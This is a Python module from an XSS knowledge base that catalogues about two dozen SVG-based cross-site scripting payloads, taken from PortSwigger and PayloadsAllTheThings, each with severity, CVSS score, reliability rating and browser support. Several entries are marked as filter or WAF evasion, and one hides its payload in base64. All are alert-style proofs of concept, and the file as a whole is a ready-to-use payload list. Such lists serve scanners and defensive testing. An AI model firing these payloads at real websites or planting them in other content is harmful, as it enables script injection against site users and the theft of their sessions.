#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

SVG-based XSS Payloads
"""

from ..models import PayloadEntry


SVG_PAYLOADS = {
    "svg_1": PayloadEntry(
        payload='<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>',
        contexts=["html_content", "xml"],
        severity="high",
        cvss_score=7.5,
        description="SVG with xmlns and onload",
        tags=["svg", "xmlns", "onload"],
        reliability="high",
    ),
    "svg_2": PayloadEntry(
        payload="<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></desc></svg>",
        contexts=["html_content", "xml"],
        severity="critical",
        cvss_score=8.5,
        description="SVG CDATA breakout",
        tags=["svg", "cdata", "breakout"],
        reliability="medium",
    ),
    "svg_3": PayloadEntry(
        payload='<svg><foreignObject><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"/></foreignObject></svg>',
        contexts=["html_content", "xml"],
        severity="critical",
        cvss_score=8.5,
        description="SVG foreignObject with iframe",
        tags=["svg", "foreignObject", "iframe"],
        reliability="medium",
    ),
    "svg_4": PayloadEntry(
        payload='<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="100" height="100"/></a></svg>',
        contexts=["html_content", "xml"],
        severity="high",
        cvss_score=7.5,
        description="SVG anchor with xlink href",
        tags=["svg", "xlink", "anchor"],
        reliability="high",
    ),
    "svg_5": PayloadEntry(
        payload="<svg><script>alert(1)</script></svg>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="SVG with script element",
        tags=["svg", "script"],
        reliability="high",
    ),
    "svg_6": PayloadEntry(
        payload="<svg><script xlink:href=data:,alert(1)/>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="SVG script with data URI",
        tags=["svg", "script", "data-uri", "xlink"],
        reliability="medium",
    ),
    "svg_7": PayloadEntry(
        payload='<svg><image xlink:href="javascript:alert(1)"/>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG image with javascript href",
        tags=["svg", "image", "xlink"],
        reliability="low",
    ),
    "svg_8": PayloadEntry(
        payload='<svg><handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)"/>',
        contexts=["html_content", "xml"],
        severity="high",
        cvss_score=7.5,
        description="SVG handler with xml-events",
        tags=["svg", "handler", "xml-events"],
        reliability="low",
    ),
    "svg_9": PayloadEntry(
        payload='<svg><feImage xlink:href="javascript:alert(1)"/>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG feImage filter primitive",
        tags=["svg", "feImage", "filter"],
        reliability="low",
    ),
    "svg_10": PayloadEntry(
        payload='<svg><animate attributeName="href" values="javascript:alert(1)" />',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG animate href attribute",
        tags=["svg", "animate", "href"],
        reliability="medium",
    ),
    # === PortSwigger SVG ===
    "ps-svg-use-base64": PayloadEntry(
        payload='<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG use element with base64 data URL",
        tags=["portswigger", "svg", "use", "base64", "data-url"],
        reliability="high",
        encoding="base64",
        browser_support=["chrome", "firefox"],
        waf_evasion=True,
    ),
    "ps-svg-animate-use": PayloadEntry(
        payload="<svg><animate xlink:href=\"#x\" attributeName=\"href\" values=\"data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x\" /><use id=x />",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Animate tag with auto executing use element",
        tags=["portswigger", "svg", "animate", "use", "auto-execute"],
        reliability="high",
        browser_support=["chrome", "firefox"],
        waf_evasion=True,
    ),
    "ps-svg-use-xlink": PayloadEntry(
        payload="<svg><use href=\"data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x\"></use></svg>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG use element with xlink:href",
        tags=["portswigger", "svg", "use", "xlink"],
        reliability="high",
        browser_support=["chrome", "firefox"],
    ),
    "ps-svg-throw-url": PayloadEntry(
        payload="<svg onload=\"throw top.onerror=eval,{lineNumber:1,columnNumber:1,fileName:1,message:'/*'+URL}\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with onerror, throw and document.URL - Firefox",
        tags=["portswigger", "svg", "onerror", "throw", "firefox"],
        reliability="high",
        browser_support=["firefox"],
        waf_evasion=True,
    ),
    "ps-svg-file-xss": PayloadEntry(
        payload='<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert(1)</script></svg>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG file upload XSS",
        tags=["portswigger", "file-upload", "svg", "xml"],
        reliability="high",
    ),
    # === PayloadsAllTheThings SVG ===
    "patt-svg-script": PayloadEntry(
        payload='<svg><script>alert("XSS")</script></svg>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG with embedded script",
        tags=["patt", "svg", "script"],
        reliability="high",
    ),
    "patt-svg-animate-onbegin": PayloadEntry(
        payload="<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG animate onbegin XSS",
        tags=["patt", "svg", "animate", "onbegin"],
        reliability="high",
    ),
    "patt-svg-set-onbegin": PayloadEntry(
        payload="<svg><set onbegin=alert(1) attributeName=x>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG set onbegin XSS",
        tags=["patt", "svg", "set", "onbegin"],
        reliability="high",
    ),
    "patt-svg-foreignobject": PayloadEntry(
        payload="<svg><foreignObject><script>alert(1)</script></foreignObject></svg>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG foreignObject with script",
        tags=["patt", "svg", "foreignObject", "script"],
        reliability="high",
    ),
    "patt-svg-a-xlink": PayloadEntry(
        payload='<svg><a xlink:href="javascript:alert(1)"><rect width="100" height="100" /></a></svg>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG anchor with xlink:href javascript",
        tags=["patt", "svg", "xlink", "javascript"],
        reliability="high",
    ),
    "patt-svg-desc-script": PayloadEntry(
        payload="<svg><desc><script>alert(1)</script></desc></svg>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG desc with script",
        tags=["patt", "svg", "desc", "script"],
        reliability="medium",
    ),
    "patt-svg-title-script": PayloadEntry(
        payload="<svg><title><script>alert(1)</script></title></svg>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="SVG title with script",
        tags=["patt", "svg", "title", "script"],
        reliability="medium",
    ),
    "patt-upload-svg": PayloadEntry(
        payload='<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg onload=alert(1) xmlns="http://www.w3.org/2000/svg"></svg>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="XSS via SVG file upload",
        tags=["patt", "upload", "svg", "file"],
        reliability="high",
    ),
}

SVG_PAYLOADS_TOTAL = len(SVG_PAYLOADS)
